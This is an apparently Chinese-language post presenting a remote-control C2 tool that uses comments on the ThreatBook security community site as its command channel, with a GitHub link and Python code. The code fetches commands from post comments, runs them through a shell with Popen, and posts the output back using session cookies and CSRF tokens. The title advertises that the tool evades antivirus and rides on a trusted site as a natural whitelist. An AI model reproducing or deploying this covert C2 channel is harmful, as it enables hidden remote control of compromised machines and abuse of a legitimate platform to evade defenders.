利用微步社区做天然白名单且免杀的远控C2（支持手机电脑）

https://github.com/yuziiiiiiiiii/ThreatBook-C2

def get_comments(short_message_id):    base_url = "https://x.threatbook.com/v5/node/user/article/queryComments?shortThreatId="+short_message_id    try:      #模拟用户发包        response = requests.get(base_url)        # 直接使用 response.json() 获取对象        json_object = response.json()        # 定义一个评论列表        comments_list = json_object["data"]["list"]        # 提取第一个 comments 对应的值        first_comment = comments_list[0]["comments"]        # 返回第一个 comments 对应的值        return first_comment        # 错误性判断    except requests.exceptions.RequestException as e:        print(f"Error: {e}")

def send_comment(comment, short_message_id, csrf_token, rememberme, xx_csrf):    url = "https://x.threatbook.com/v5/node/user/article/saveComment"  #请求头    headers = {        "Host": "x.threatbook.com",        "Cookie": f"csrfToken={csrf_token}; rememberme={rememberme}; xx-csrf={xx_csrf}",        "Content-Type": "application/json",        "X-Csrf-Token": csrf_token,        "Xx-Csrf": xx_csrf,        "Sec-Ch-Ua-Mobile": "?0",        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36"    }  #请求体    data = {        "comment": comment,        "isAnonymous": "False",        "targetId": "0",        "shortMeaasgeId": short_message_id    }  #回显命令    try:        response = requests.post(url, json=data, headers=headers)        return response.json()    except requests.exceptions.RequestException as e:        print(f"Error: {e}")

  def command(cmd):  #Popen()函数使用shell执行命令，stdout和stderr是子进程的标准输出和标准错误输出    process = Popen(cmd, shell=True, stdout=PIPE, stderr=PIPE)    #启动并等待子进程完成，通过stdout和stderr读取子进程的输出    stdout, stderr = process.communicate()    #返回标准输出并解码为gbk编码的字符串    return stdout.decode('gbk')